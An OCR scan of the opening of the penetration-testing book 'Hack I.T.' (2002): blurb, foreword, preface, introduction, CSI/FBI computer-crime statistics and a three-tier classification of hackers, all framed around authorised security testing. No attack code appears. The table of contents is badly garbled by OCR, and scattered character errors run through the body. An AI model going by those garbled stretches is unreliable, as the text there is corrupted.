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"This book covers not just the glamorous aspects such as the intrusion act itself, but all of the pitfalls,
contracts, clauses, and other gotchas that can occur. The authors have taken their years of trial and
error, as well as experience, and documented a previously unknown black art."

-From the Foreword by Simple Nomad, Senior Security Analyst, BindView RAZOR Team

Penetration testing--in which professional, "white hat" hackers attempt to break through an
organization’s security defenses--has become a key defense weapon in today’s information systems
security arsenal. Through penetration testing, |.T. and security professionals can take action to prevent
true "black hat" hackers from compromising systems and exploiting proprietary information.

Hack I.T.introduces penetration testing and its vital role in an overall network security plan. You will
learn about the roles and responsibilities of a penetration testing professional, the motivation and


http://www.informit.com/safari/author_bio.asp@ISBN=0201719568
http://../safariexamples.informit.com/0201719568

strategies of the underground hacking community, and potential system vulnerabilities, along with
corresponding avenues of attack. Most importantly, the book provides a framework for performing
penetration testing and offers step-by-step descriptions of each stage in the process. The latest
information on the necessary hardware for performing penetration testing, as well as an extensive
reference on the available security tools, is included.

Comprehensive in scope Hack I.T. provides in one convenient resource the background, strategies,
techniques, and tools you need to test and protect your system--before the real hackers attack.

| l@ve RuBoard




| l@ve RuBoard

Hack |.T.: Security Through Penetration Testingl

Forewora

Acknowledgments

ntroductioa
h. Hacking Toda)J

3.3 Announced vs. Unannounced Penetration Testing

S Li

=

42 Bericley Interel Name Domain ( BIND ) Implementationd

1.6 Domain Name Service ( DNS




1.8 FTP and telneﬂ

MH

d POH
ifor d Intrusion Detection]

4.14 Network File em ( NFS
/ NT Pg 2139
416 NT Null Connectioq

POOor Passwords and er 1DS
4 18 Remote Administration Services
4,19 Remote Procedure Call (RPC)

0 NDMA

i |

4,22 Simple Mail Transport Protocol ( SMITP
.23 Simple Network Management Protocol ( SNMP ) Community. Stringﬁ

N 24 \Viruse -

/Discover
Analysi

ase Study: Dual-Homed Host

7. i al Penetration

umeratio

74 UN|

é:g gz:gﬁ’ng for Exgloité

7.7 Remotely Installing a Hacker Tool Kit

Case Study: Snoop the User Desktoa




11.9 Conclusio

12.7 What's running

here Port Scannel




Wall-3 (Now eTrust Intrusion Detection
14.6 AntiSnif

| 4 zl
15.5 ShowPasg

Tool

ctio

?Domain Admins?)

i
uditing Tool ( NAT

oft DumpRe

fca

ase Study: Internal Penetration to Window

|17. Web-Testing Toolé




18.4 Back Orifice 2000

ection Systemd

asion

tive IDSA

9.5 IDS Selection

:‘A- ql. -.-q-k“.n

ase Study: Internet Information Server Exploit?MDAC

% ountermea

P2.2 Keeping Curren



ompilation of Program

nty Most Critical Internet Security Vulnerabilities?The Experts'

jons
Passwords
-exi ckups

ming and Outgoing Addresses |
-eXi Loggin

r Folder Traversal)

jon Connections

Services

ilities
Ses

tocol Daemon

s Hh PP PRPEREEPRPRERIEEDERERIIERERBIRI P

?

2 erts Who Helped Create the Top Ten and TOQ|
wenty Internet Vulnerability List

| l@ve RuBoard




| l@ve RuBoard JE 3

SEcurimy THRaudr
ERETRATION TESTING

Hack |.T.: Security Through Penetration Testind

Many of the designations used by manufacturers and sellers to distinguish
their products are claimed as trademarks. Where those designations appear
in this book, and Addison-Wesley, Inc. was aware of a trademark claim, the
designations have been printed with initial capital letters or in all capitals.

The authors and publisher have taken care in the preparation of this book,
but they make no expressed or implied warranty of any kind and assume no
responsibility for errors or omissions. No liability is assumed for incidental or
consequential damages in connection with or arising out of the use of the
information or programs contained herein.

The publisher offers discounts on this book when ordered in quantity for
special sales. For more information, please contact:

Pearson Education Corporate Sales Division
201 W. 103rd Street
Indianapolis, IN 46290

(800) 428-5331

l_;orgsales@ pearsoned.com

Visit AW on the Web: vvww.aw.com/csenq‘l

Library of Congress Cataloging-in-Publication Data


mailto:corpsales@pearsoned.com
http://www.aw.com/cseng/default.htm

Klevinsky, T.J.

Hack I.T. : security through penetration testing / T.J. Klevinsky, Scott
Laliberte, Ajay Gupta.

p. cm.

Includes index.

0-201-71956-8 (pbk.)

1. Computer security. 2. Computer—Access control—Testing. I. Laliberte,
Scott. Il. Gupta, Ajay. lll. Title.

QA76.9.A25 K56 2002

005.8—dc21

2001056058

Copyright © 2002 by Pearson Education, Inc.

All rights reserved. No part of this publication may be reproduced, stored in
a retrieval system, or transmitted, in any form, or by any means, electronic,
mechanical, photocopying, recording, or otherwise, without the prior
consent of the publisher. Printed in the United States of America. Published
simultaneously in Canada.

For information on obtaining permission for use of material from this work,
please submit a written request to:

Pearson Education, Inc.

Rights and Contracts Department

75 Arlington Street, Suite 300

Boston, MA 02116

Fax: (617) 848-7047



4 FREEWIOUS B HEXT F




| l@ve RuBoard

Foreword

Penetration testing is one of those odd jobs you typically hear little about—it is like a black art, and can
come with not only smoke and mirrors but, for the pen tester, any number of trap doors and blind
alleys. Bits and pieces of penetration testing have made it into the mainstream media, culminating in
the classic hacker-fave film Sneakers, starring Robert Redford, Sidney Poitier, and a host of other
stars. And while plenty seems to be written about hacking and gaining access to systems, there has
been nothing written that really speaks to the art of penetration testing.

Like most other high tech jobs portrayed in the movies, pen testing is not as glamorous as most
people think. Oh sure, there are exciting moments, such as when the first system belonging to the
target is penetrated, but it is actually hard work. Comparatively, a typical intruder's job is easy.

A regular electronic intruder has to find only one hole into an organization's computers, but a pen
tester has to find them all. This is not only somewhat tedious and even boring at times, it is very
important. The intruder probably does not care about such things as accidentally damaging systems,
or wiping log files to hide his presence. The pen tester is trying to keep from disrupting normal
business, preserve records and logs, yet still trying to move about unnoticed. In other words, to be a
pen tester you have to have not only all of the intruder techniques possible, but also understand
system administration as well as corporate life in general. Not an easy task.

Many people who are new to the wily world of penetration testing quickly realize that there are not just
drudgery tasks such as mapping out entire corporate networks and finding multiple attack vectors
instead of just one. They also come face to face with a dizzying spectrum of contracts, clauses,
guarantees, periodic mid-stream debriefings with confused clients, and everything else normal
contractors might encounter, plus dozens more that a normal IT contractor would never hope to
encounter. Can you essentially plan a legalized live simulation of a crime against a target, with the
vast majority of personnel at the target unaware you are performing a simulation?

Hard as it may seem, it can be one of the most rewarding jobs a geek can get. It is more than “playing
criminal,” it is playing the ultimate game of chess—a chess game where you get to try out every move.
You just have to document your moves so you can recreate your steps if needed.

The problem with most career choices is that unless you can sit down and talk with someone in the
business, you can never fully appreciate what that career is all about. In the world of plumbers, you
can go to the library and find tons of self-help books, and you probably either know a plumber or at
least have a relative or friend who knows one you could talk to. Not the case with penetration testing.

Until now. This book covers not just the glamorous aspects such as the intrusion act itself, but all of
the pitfalls, contracts, clauses, and other gotchas that can occur. The authors have taken their years of

trial and error, as well as experience, and documented a previously unknown black art.

Penetration testing is important. It gives a company a chance to make sure their systems are secure,



their incident response policies are in place, and give them not only peace of mind but possible
compliance with the increasing insurance and government regulations placed upon them (HIPAA
leaps to mind). But there are not enough good pen testers out there. This book helps to at least give
you a leg up. There is nothing more frustrating when trying something new than to encounter
unforeseen obstacles you never expected. This book isn't magic—the obstacles do not go away. But
after reading you are aware of them, and have even been given some choices to help you get around
them quickly. Enjoy the book.

Mark Loveless, aka Simple Nomad
Senior Security Analyst, BindView RAZOR Team
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Preface

Why write a book about hacking? The question is really whether a book about the
techniques and tools used to break into a network would be beneficial to the information
security community. We, the authors, believe that penetration testing is a valuable and
effective means of identifying security holes and weaknesses in a network and computing
environment. Understanding how others will try to break into a network offers considerable
insight into the common pitfalls and misconfigurations that make networks vulnerable. This
insight is essential to creating a comprehensive network security structure.

Some may argue that providing this penetration-testing information gives script kiddies and
hackers ammunition to better attack systems. However, script kiddies and hackers already
have access to this information or have the time to find it—most of the material presented
in this book is available from a variety of sources on the Internet. The problem is that the
system and security administrators defending against attacks do not have the time or
resources to research the sites necessary to compile this information. We decided to write
this book to provide defenders with the information hackers already have. A hacker has to
find only one hole to gain unauthorized access. The security group defending against the
hackers needs to find all the holes to prevent unauthorized access.

There is no tried-and-true training that can make everyone a security expert, but there are
some baseline principles, skills, and tools that must be mastered to become proficient in
this field. Our goal is to provide you with those skills in a manner that helps you to
understand the structure and tools used and to begin developing your own style of
penetration testing.

The process described in this book is not the only way to perform a penetration test. We
continue to evolve our own methodology to respond to new technologies and threats. This
process has worked well for us in the past and continues to be a successful way to
evaluate and test network security.
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Audience

This book is intended for the security administrators, systems administrators, technology
auditors, and other authorized representatives of companies that want to legitimately test
their security posture and intrusion detection or incident response capabilities. In addition,
other individuals who need to assess systems and network security may find the tools and
techniques described in this book useful. It is designed as a beginner's book for enhancing
network security through penetration testing. No previous knowledge of penetration testing
Is required, but an understanding of networking, TCP/IP, Windows NT/2000, network
security, and UNIX is needed to be able to execute a penetration test.

A word of caution: Although this book details the processes and tools for performing a
penetration test, it does not describe how to do this without alerting network security
devices. Many of these techniques will be detected and should not be performed without
the written consent of the owners of the target systems. We intend for this book to be not a
how-to hack manual but rather a framework for performing a systematic network security
review. Intrusion detection mechanisms on most networks today have become very
sophisticated and, if configured properly, can be used to track anyone practicing these
technigues on a network.

| |@ve RuBoard




| l@ve RuBoard

Authors

T.J. Klevinsky, CISSP

T.J. is a manager with Ernst & Young's Security and Technology Solutions practice. He is
currently responsible for coordinating attack and penetration exercises in various parts of
the world. As an instructor for his company's “Extreme Hacking” course, T.J. is constantly
researching new tools and techniques for exploiting security vulnerabilities. To keep the
course up-to-date, new tools and methods are included in the attack and penetration
methodology. Additionally, as the author and instructor for the System Administration and
Network Security (SANS) Institute course “Contemporary Hacking Tools and Penetration
Testing,” T.J. has had the opportunity to interact with other penetration-testing
professionals across the globe to identify new tools and techniques and to bring these
experiences and tools to this book.

Scott Laliberte

Scott is a manager with Ernst & Young's Security and Technology Solutions practice. He
has extensive experience and expertise in the areas of information systems security,
network operations, and electronic commerce. Specifically, Scott has managed and led
numerous attack and penetration engagements and systems vulnerability assessments for
midsize and Fortune 500 companies. During these engagements Scott used a variety of
commercial and proprietary tools and techniques to identify vulnerabilities in networks,
operating systems, and applications. Scott is also responsible for coordinating and
designing e-commerce architectures and verifying security controls and the effectiveness
of the architectures. In addition, Scott is an instructor for Ernst & Young's “Extreme
Hacking” course, where he helps train others in Ernst & Young's attack and penetration
methodology.

Ajay Gupta

Ajay is a senior security professional with Ernst & Young's Security and Technology
Solutions practice, where he performs security reviews for Ernst & Young clients. He has
experience in performing penetration testing, risk analysis, and code review engagements
as well as evaluating the security posture of client organizations ranging from Fortune 100
firms to e-commerce start-ups. Ajay is an instructor for Ernst & Young's “Extreme Hacking”



4 FREEWIOUS B HEXT F




| l@ve RuBoard

How to Use This Book

The managers of an ever-growing number of companies are beginning to see information
security as an issue requiring attention, showing how much of a threat they truly believe
exists. In any case, whether you work as part of the security department of a large
corporation or as a system administrator with security as part of your job description,
knowing how to get into your network is one of the best ways to secure it.

The first part of this book ‘Chaéters ﬂ—@) explains the roles and responsibilities of a
penetration-testing professional and the motivation and styles of the hacking community.
This information provides insight into why hacking has become so popular with the media
and what difficulties are associated with protecting a network. The material is designed to
provide background information to support the use of penetration testing as an important
part of an overall network security plan. A penetration test not only tests the network's
ability to protect information and other assets from unauthorized individuals but also can
test the organization's ability to detect such intrusion attempts and its incident response
capabilities. We also discuss some of the common pitfalls in technology and defenses that
contribute to security weaknesses. A large portion of successful network security breeches
could have been avoided if special attention had been given to these issues.

The second part of this book (Chapters 5—@) provides a structured framework for a
penetration test. Penetration testing can be broken down into a series of steps that provide
an efficient and comprehensive review of individual network segments. Whether the test is
an internal or external review, the methodology follows the steps of discovery, scanning,
and exploitation. This section outlines methods for finding the target network, identifying
possible vulnerable services, exploiting weaknesses, and documenting the results. This
methodology yields a test that is structured, efficient, and repeatable. In this section of the
book we also introduce various tools that can be used to assist with this methodology. We
briefly describe each tool's use and place in testing.

The third section of this book (Chaéters 11—@) provides greater detail on the tools that can
increase the speed and accuracy of a penetration test. This “tools and techniques” section
is presented in a reference format so you can locate a tool by its role in testing and obtain
the information necessary to begin using the tool or find the information necessary to do so.
A large collection of tools have been released by commercial and open-source
programmers that identify vulnerabilities in networks, applications, and/or services and
should be used as part of an assessment. While most of them may be identified by an



intrusion detection system, they can usually find exposures on your network faster than
manual methods. We provide detailed explanations of each tool, including its basic usage
and where to get updates. You will find that some programs are described in greater depth
than others. We spend more time on the tools that we find more helpful or that reveal the
most information. For ease of use, we obtained demo or freeware software for many of the
tools covered and included them on the CD-ROM available with this book. This software is
intended to give you the opportunity to become familiar with some of the more popular
tools and to see which work best for you. This section is designed to help you pick out the
right hardware, operating systems, and software to make a testing tool kit.

The last section of this book 1 E) moves toward advanced techniques and

application testing. You should review this section once you have created and are
comfortable with your own tool kit. This section details methods that can be used to evade
intrusion detection systems and firewalls, control hosts on target networks remotely, and
test Web servers. It also includes a discussion on denial-of-service attacks and a section
on how to keep up with the current trends and latest developments in information security.
This section contains a list of Web sites and e-malil lists that we used in our research, as
well as information on long-term countermeasures to improve security. Finally, we include
a brief discussion about future trends within the information technology arena and the
possible risks that these trends may produce.

At the end of some chapters are case studies that deal with some of the issues and tools
discussed. The case studies detail steps we have followed in real-world penetration-testing
engagements to help illustrate how all the pieces of penetration testing fit together. The
samples we selected include internal, external, and dial-up testing and reflect different
operating systems, vulnerabilities, and exploits in an attempt to demonstrate as many of
the techniques discussed in the book as possible. In each case we keep anonymous the
name, industry type, and any other information that could be used to identify the parties
involved.
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Introduction

It certainly seems that over the past few years the security ramifications of online activity
have begun to permeate the national consciousness. Mainstream media have begun to
take an interest in and glamorize the compromises that have taken place. Even Hollywood
has movies about hacking, the latest being Warner Brothers' Swordfish starring John
Travolta, Halle Berry, and Hugh Jackman as the world's foremost hacker.

Despite the growing level of interest in this field, there is still little known about the actual
issues involved in securing networks and electronic assets. Many people consider
anti-virus software used to defend against Internet e-mail viruses to be the cure-all for all
varieties of information security threats. Viruses are a big problem, no doubt, potentially
leading to huge losses in terms of lost productivity and corrupted intellectual assets.
However, cyber crime (hacking) can be much more than the release of an e-mail
attachment that proclaims love (the | LOVE YOU virus) or promises sexy pictures (the
Anna Kournikova virus) to all the friends and business associates of unsuspecting victims.

The true dangers of cyber crime are of far greater consequence. Individuals with technical
knowledge of networks and networking devices can steal sensitive information (for
example, U.S. troop deployments from Department of Defense computers, source code for
new software products, medical records) or money (through online access to bank
accounts or credit card numbers used with online retailers) or conduct a host of juvenile
pranks (erasing backup files recording the last six months of activity, raising the
temperature in buildings, turning off phone systems).

While these may seem to be scare tactics used to get people to spend time, energy, and
good money on unnecessary things, that is, unfortunately, not the case. The threats are
real. They are evident in the latest “Computer Crime and Security Survey” by the Computer
Security Institute and the Federal Bureau of Investigation and in news reports of cases of
identity theft and firms facing the realization that they are being blackmailed by a hacker
who has their customer list (including credit card information).

Given this burgeoning interest in keeping networks free from hacking minds, there has
naturally been greater interest in taking steps to ensure networks are secure. One such
step is to perform a professional penetration test, also called attack and penetration or
ethical hacking. There are various parts of the security industry, namely those people who
provide security consulting services (also called professional services), those who develop



and market security products, and finally those who are managed security service
providers (MSSPs).

MSSPs provide outsourced security monitoring and management of all or parts of a
network in exchange for a retainer. Firewalls, intrusion detection systems, audit logs, and
virus scanners can all be managed by an MSSP. The developers of security products
include commercial interests, a large open-source community, and smaller groups of black
hat hackers who aim to create tools to automate the network analysis and review process.
Such tools include firewalls, intrusion detection systems, auditing tools, virus scanners,
vulnerability scanners, network mappers, network sniffers, encryption tools, password
crackers, banner grabbers ... the list goes on. In addition, tools and scripts, such as
denial-of-service exploits, that aid in the compromise of networks are also frequently
developed and released. Naturally, this later set of tools come generally from the domain of
open-source or black hat developers, while commercial interests stick to more benign
offerings.

Penetration-testing services are a component of consulting services. Consulting services
also include the development of security policies and procedures, the performance of
security vulnerability and risk analysis of networks, and the design and implementation of
security solutions (such as a firewall solution, a public key infrastructure, a single sign-on
solution, or an IDS solution) and a host of related services. The goal of security consulting
services, especially for penetration testing, is to improve or augment the security posture of
a network or system.

“And he that breaks a thing to find out what it is has left the path of wisdom.”

—Galdalf the Grey from The Fellowship of the Ring, Volume 1 of The Lord
of the Rings by J.R.R. Tolkien

This sentiment applies to penetration testing. Our testing does not intend to and never
should actually cripple or compromise a network. However, testing must detect as many
ways to do so as possible. The findings or results of the testing are aimed at improving the
security posture of a network by presenting countermeasures for the vulnerabilities
identified. The process is simple: take a few white hat hackers, give them black hats for a
short period of time, and let them try to figure out all the possible ways a system can be
compromised. Then, take the black hats away and have them report on their findings—to
the client, not to the general Internet hacker community.

This book focuses on presenting a method for performing penetration testing. In doing so,
we do not discuss other consulting services available. And while we do discuss in some



detail the tools we use for penetration testing, this work should not be considered a
comprehensive review of the security products available in the market today. We also do
not address the burgeoning MSSP field, though we briefly discuss it in the final chapter on
future trends.

We, the authors, share a connection with the professional services firm Ernst & Young
LLP. We attest that the ideas and opinions presented throughout this work are not
necessarily those of Ernst & Young but solely the critical analysis based on our years of
field experience.

Truth be told, much of the information presented here can be found in various places on
the Web, in news groups, in e-mail distribution lists, or at other destinations on the Internet
(a listing is presented in Chaéter 22). Those who believe writing such a book is dangerous
since it may result in teaching people how to hack do not see the value in improving

security through testing and measuring defenses against the techniques of opponents.
Hackers already know how to hack and have the time and energy to research (and
develop) hacking techniques. The good guys, who are busy battling the day-to-day fires of
maintaining the corporate network, do not have the luxury of this time and cannot perform
this level of research. We hope this book will be a tool for the good guys. It consolidates
and organizes the information already available to the hacker community so that security
professionals can arm themselves in the security battle.

We hope you find this text as useful to read as it was challenging for us to write. We are
glad to provide our knowledge and intelligence on penetration testing. How you choose to
use it is of your own volition. Remember: Penetration testing without permission is
illegal—a point we hope this text makes clear.

Happy reading.
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Chapter 1. Hacking Today

Recent media coverage of hacker incidents against well-known Internet companies has
started to promote a better understanding of the growing threat hackers pose to computer
security. Despite this new publicity, many users and senior managers still do not fully
understand the magnitude of the threat. Without the support of the end users, system
administrators constantly have to defend against security holes inadvertently opened by
the users. Additionally, without the support of management, security and system
administrators cannot obtain the resources they need to protect the company. This puts the
technical staff in a difficult position when trying to obtain the full support of the organization
to defend against the threat. Sometimes numbers speak louder than words to show an
organization's exposure to risk and to gain the support of management.

Frequently we have to convince clients that information systems security is necessary and
that the threat from hackers is substantial enough to invest in proactive security measures.
Since there is no quantifiable measurement of successful security tactics (other than not
being hacked), it is difficult to gain support for a security project. Also, unrealistic
expectations of the cost of effective security or overreliance on one or two security systems
can be a fatal flaw in the network.

There are two large problems security and system administrators need to overcome. First,
management often believes that the computer security threat is not a great enough risk to
justify funds for protective measures. Second, there is a general misunderstanding of how
complex the problem of computer security really is and how many resources are required
to adequately defend against attacks. For example, firewalls are necessary components of
a security architecture, but firewalls alone do not protect networks. An improperly
configured firewall or a firewall without other security measures in place can be worse than
an open system if it provides the company with a false sense of security.

For the last six years the Computer Security Institute (CSI) has performed a survey in
cooperation with the Federal Bureau of Investigation's (FBI) Computer Intrusion Squad to
help determine the extent of computer crime in the United States. In March 2001, CSI
published its “2001 Computer Crime and Security Survey,” which is based on responses
from 538 computer security practitioners in U.S. corporations, government agencies,
financial institutions, medical institutions, and universities. Of those organizations
surveyed, 91 percent reported detecting computer security breaches in the last 12
months and 97 percent of those polled had Web sites. Of those with Web sites, 23



percent reported suffering an attack within the last 12 months and 27 percent did not know
if they had experienced an attack. Of those reporting attacks, 21 percent reported two to
five incidents and 58 percent reported ten or more.

(1] Power, Richard. 2001. 2001 CSI/FBI Computer Crime and Security Survey. San Francisco: Computer
Security Institute.

These statistics may be alarming, but the actual state of computer security may be worse
than the statistics suggest. Many organizations are still not equipped to detect security
breaches. Only 61 percent (up from 50 percent in 2000) of those polled in the CSI survey
reported using intrusion detection. Thus, it is likely the actual number of attacks and losses
are greater than those reported. While it appears that organizations are starting to
implement more security controls, security incidents and losses continue to grow. This
could be due to the fact that the security products are not implemented correctly or that the
proper policies and procedures are not built around them. In the 2001 CSI survey Patrice
Rapalus, CSI director, provided this insight on why incidents and loss continue to grow:

The survey results over the years offer compelling evidence that neither
technology nor policies alone really offer an effective defense for your
organization... . Organizations that want to survive need to develop a
comprehensive approach to information security embracing both the human
and technical dimensions.

(21 Power, Richard. 2001. 2001 CSI/FBI Computer Crime and Security Survey. San
Francisco: Computer Security Institute, p. 1.

Organizations were also asked to estimate the financial damages they suffered as a result
of the security breaches. Although 64 percent reported financial damages, only 35 percent
were able to quantify the losses. shows the results. Although the $377,828,700
in reported damages seems an enormous number, it is important to note that this reflects
the damages suffered by a mere 186 organizations (35 percent of those surveyed).
Considering the number of computer-using organizations in the country, the overall cost of
computer security breaches must be vastly greater.

Not only is the problem bad, it appears that it is getting worse. In the years 1997-1999, the
average damage due to break-ins was $120,240,180. The year 2000 losses were more
than double that average. The losses continued to increase in the year 2001, with a more
than 42 percent increase over the year 2000 losses despite 87 fewer organizations
reporting Iosses. shows the results of the CSI survey over the last five years.
Although some of the increased reported damages in the 2001 survey come from improved
detection and reporting, a large portion of the increase is due to increased hacker activity.



3] Power, Richard. 2001. 2001 CSI/FBI Computer Crime and Security Survey. San Francisco: Computer
Security Institute.

The reported sources of the attacks were also interesting. External attacks continue to be
more common, but the threat from internal sources is still there—49 percent of the
respondents reported attacks from internal sources. Internet connections were frequent
targets, as stated by 70 percent of the respondents, while 31 percent reported their internal
systems were a common point of attack. Keep in mind that many companies more closely
monitor Internet-connected systems for abuse and unauthorized activity than internal
systems. Even considering this fact, the results support the reality that the threat from both
internal and external sources is great. While the reported frequency of internal attacks is
lower than that for external ones, internal attackers can often cause more damage due to
their proximity to and knowledge of the systems.

Table 1-1. Losses Reported in Dollars by Type (for 2001)

Type Loss
Unauthorized insider access $6,064,000
Theft of proprietary information $151,230,100
Telecom fraud $9,041,000
Financial fraud $92,935,500
Viruses $45,288,150
Laptop theft $8,849,000
Insider abuse of Internet access $35,001,650
Denial of service $4,283,600
Sabotage $5,183,100
System penetration $19,066,600
Telecom eavesdropping $886,000
Active wiretapping $0
Other $0
Total $377,828,700
Source: Power, Richard. 2001. 2001 CSI/FBI Computer Crime and Security Survey. San Francisco: Computer Security
Institute.

The CSI survey provides a wealth of information and statistics concerning computer crime
and security. We have touched on just a small portion of the results that help illustrate the

risks. You can obtain a free copy of the complete CSI survey by visiting Wwww.gocsi.com.
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Table 1-2. Total Reported Financial Losses by Year

Year | Respondents (Number Reporting Losses/% of Total Respondents) | Reported Losses
2001 [186 respondents/35% $377,828,700
2000 |273 respondents/42% $265,586,240
1999 |161 respondents/31% $123,779,000
1998 (216 respondents/42% $136,822,000
1997 |331 respondents/59% $100,119,555
Total $1,004,135,495
Source: Power, Richard. 2001. 2001 CSI/FBI Computer Crime and Security Survey. San Francisco: Computer Security
Institute.

CSl is not the only organization whose surveys indicate a growing computer security
threat. A global survey released in July 2000 of 4,900 information technology (IT)
professionals across 30 nations, conducted by InformationWeek Research and fielded by
PricewaterhouseCoopers LLP, predicts U.S. firms will suffer losses of over $266 billion this
year from viruses and computer hacking. The prediction for worldwide losses climbs to
$1.6 trillion. The CERT Coordination Center maintains statistics for the number of incidents

reported each year (Wwww.cert.org/stats/cert stats.html). In 2000 there were 21,756
incidents, which is more than double the number of incidents reported in 1999 (9,859
incidents). All these statistics indicate the threat appears to be growing, which calls for a
renewed sense of urgency to address the security issues facing every company.

4l PRNewswire. 2000. “Study Finds Computer Viruses and Hacking Take $1.6 Trillion Toll on Worldwide
Economy.” Wire report, July 7.

The statistics are persuasive, but they are sometimes not enough to make the case for
increased computer security. However, the statistics are not the only indication of
increased computer crimes. Media outlets have started to take notice of computer crimes
and have increased the reporting of system compromises, particularly attacks that involve
well-known companies. Some of the attacks involve denial of service, stolen information, or
other forms of loss.

In February 2000, many large Internet companies suffered major disruptions in service
from distributed denial-of-service (DDo0S) attacks. Denial-of-service (DoS) attacks generally

involve trying to overwhelm or bring down a target system to make it unavailable for use.

(DoS attacks are covered in greater detail in [Chapter 21).) [Yahoo.com|, jAmazon.com,

ETRAE.com, Euv.com, CNN.com, EBav.co , and others were offline for hours

combating the problem. These incidents brought great visibility to cyber crime.

Other well-known attacks also help illustrate the increase in computer crime. In October
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2000, news sources reported an attack against Microsoft's internal systems, targeting its
source code. In May 1999, the FBI investigated several hacking groups based in the
United States. After the FBI seized a suspected teenage hacker's computer, several
hacker groups retaliated by defacing government Web sites. At one point, a DoS attack
caused the FBI Web site to be taken offline for seven days. In January 2000, an Internet
hacker threatened CD Universe, stating that if the company did not pay a ransom of
$100,000 he would publish 300,000 credit card numbers he stole from its Web site. The
company refused to pay the ransom and the hacker published over 25,000 credit card
numbers. This attack destroyed consumer confidence in CD Universe and added to the
mistrust consumers already have in online buying. Between the middle of 1999 and the
beginning of 2000, computer viruses such as Melissa, | LOVE YOU, and Explorer.zip
devastated corporate networks, forcing companies to shut down for days to combat the
viruses. These viruses demonstrated the frailty of present-day virus scanners and how
easy it is to get users to execute malicious code. The incidents also illustrated the
problems and losses a company can suffer from an attack.

5] Mell, Peter, and John Wack. 2000. “Mitigating the Hacker Threat.” Accessed on July 18, 2000, at the
National Institute of Standards and Technology Web site, lmp://csrc.nist.qov/pubIications/nistbul/itl00-06.tx|.

Web-site defacements are one of the most prevalent security incidents. Hundreds of
defaced Web sites are posted on hacker sites each month. Attrition.ora (Www.attrition.ord)

and 2600 (www.2600.orq) are two of many sites that contain defaced Web-site archives.

The archives contain a listing of sites that have been defaced and in some instances
display a copy of the defaced site. shows an example of the listings of defaced
Web sites from . Defacements may consist of impolite messages, a hacker's
claim to fame, pornographic material, or other embarrassing information. Even in cases
where an attack is not destructive, the loss of confidence in the organization's ability to
protect sensitive data will drive customers away.

Figure 1-1. Attrition.orél's hacked site list
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maintains a breakdown of all the sites listed in its archive. There are thousands
of sites across all domains: .com, .net, .org, .gov, and .mil. Some of the defaced sites are
popular, well-known sites, while others are relatively unknown. Some hackers search the
Internet looking for sites that are vulnerable to a newly discovered exploit. When they find a
site that is vulnerable, they attack it. The archives reinforce the fact that no organization is
exempt from the threat of attack.

This information should be sufficient to make a strong case for putting information security
in the forefront of an organization's IT strategy. Most security professionals are already
aware of the risks facing IT managers today. However, there is no way security and system
administrators can both satisfy their job requirements and proactively secure their systems
without user and management support. A good way to gain support is through effective
security awareness training that is both convincing and constant. Users need to be
continually reminded of the dangers of lax security and what they can and must do to
protect against these problems. Security programs and policies must be designed to be
easy to use and follow, and they must be enforceable. These guidelines provide a place to
start your security program; however, they should be expanded to meet the goals of your
company.

| l@ve RuBoard
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Chapter 2. Defining the Hacker

In this chapter, we categorize hackers into three groups that reflect different levels of
experience and capabilities. Our objective is not to propagate any stereotypes but merely
to create a framework so that we can talk about the “other side” and their skill levels. This
information is provided to facilitate an understanding of the different types of people who
are commonly called hackers. Security professionals have started using the term cracker
to refer to malicious computer hackers. Unfortunately, the media and general population
have given the term hacker a negative connotation, so we use it to describe any person
who attempts to access a system through unauthorized channels. This chapter also
presents a profile of information security professionals and discusses popular hacker and
information security myths.

Categorizing hackers by the technology they deal with can be complicated. Because
networking and computing technology is so vast, hackers often specialize in one or a few
specific areas. For example, some focus on a particular operating system (e.g., Unix, Mac
OS, Windows), some master the workings of individual applications (e.g., e-mail servers,
firewalls, Web servers), and some focus on a particular type of attack, (e.g., denial of
service, dial-in penetration, Web hacks). Still others use social engineering as a way to
gain unauthorized access. There are a few hackers who have mastered more than one of
the above issues, but only a select few have a great deal of experience in all topics.

To avoid the intricacies identified above, our characterization of hackers is based only on
their overall technical competence and ability to compromise computer technology,
networks, protocols, and systems. For our purposes, we divide hackers into three groups:
first, second, and third tiers. These tiers form a pyramid in which there are a small number
of genius-level hackers (first tier), many more second-tier hackers, and a large population
in the third tier. Within our categorization, we discuss their capabilities and motivations.
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2.1 Hacker Skill Levels

2.1.1 First-Tier Hackers

First-tier hackers are programmers who have the ability to find unique vulnerabilities in
existing software and to create working exploit code. These hackers, as a whole, are not
seeking publicity and are rarely part of front-page news stories. As a result, they are known
only to the security community for the programs they write and the exploits they have
uncovered.

First-tier hackers are individuals with a deep understanding of the OSI model and the TCP
stack. Coding is more than just a hobby, and they dedicate a great deal of time and energy
to it. They are committed to keeping their technical knowledge and skills current. Not all
tier-one hackers are malicious. In fact, some are actively involved in developing
technologies that can be used to improve overall network security, such as hackers from
the ISS X-force, the Bindview Razor Team, and the AXENT SWAT team (AXENT has
been purchased by Symantec).

Tier-one hackers can work independently or through a network of hacking teams that run
exploits from a variety of locations, making it difficult to trace the activities back to their
source. These teams can be developed in Internet Relay Chat (IRC) channels, in
conferences such as DefCon, or in small groups of computer-savvy friends. Often one
first-tier hacker creates the programs and other members of the team run them against
target networks. This creates a reputation for the group rather than a single individual.

2.1.2 Second-Tier Hackers

Hackers in this tier have a technical skill level equivalent to that of system administrators.
Tier-two hackers are far more common than tier-one hackers and may have experience
with several operating systems, understand TCP/IP, and know how to exploit several
vulnerabilities. They generally have less depth of knowledge but possibly greater breadth
than the first tier. This level of hacker would be part of a security team in a large
organization. Some level of programming or scripting ability is required. For example, they
should be able to port a tool from one flavor of Unix to another.

A majority of security consultants fall into this tier. Tier-two hackers have worked with



computers for most of their careers and understand how they work. They have an
extensive collection of tools, a reliable methodology, and ability, but they generally rely on
other people to identify and code most exploits due to lack of time to specialize in a
particular technology.

Tier-two hackers like to play with new tools as soon as they come out and are often
beta-testers and part-time developers for freeware and open source security tools. They
can also be found as regular contributors to security mailing lists.

2.1.3 Third-Tier Hackers

The lowest and most populated part of the pyramid is the third tier, whose members are
commonly referred to as script kiddies. This terminology comes from the fact that
members of this tier generally rely on previously coded scripts and prepackaged hacking
tools downloaded from the Internet to do their hacking. Script kiddies are usually
individuals who are intrigued by the notion of gaining unauthorized access and are open to
using untested pieces of code, especially while others (target networks and users) are at
risk.

For this reason, tier-three hackers get the least respect but are often the most annoying
and dangerous. Tier-three hackers can cause big problems for large organizations since
they are not afraid to run untested scripts against networks without truly understanding
what the scripts do and what the consequences may be. This combination of irresponsible
experimentation and incomplete knowledge often leads to disaster, such as the unintended
loss of information.

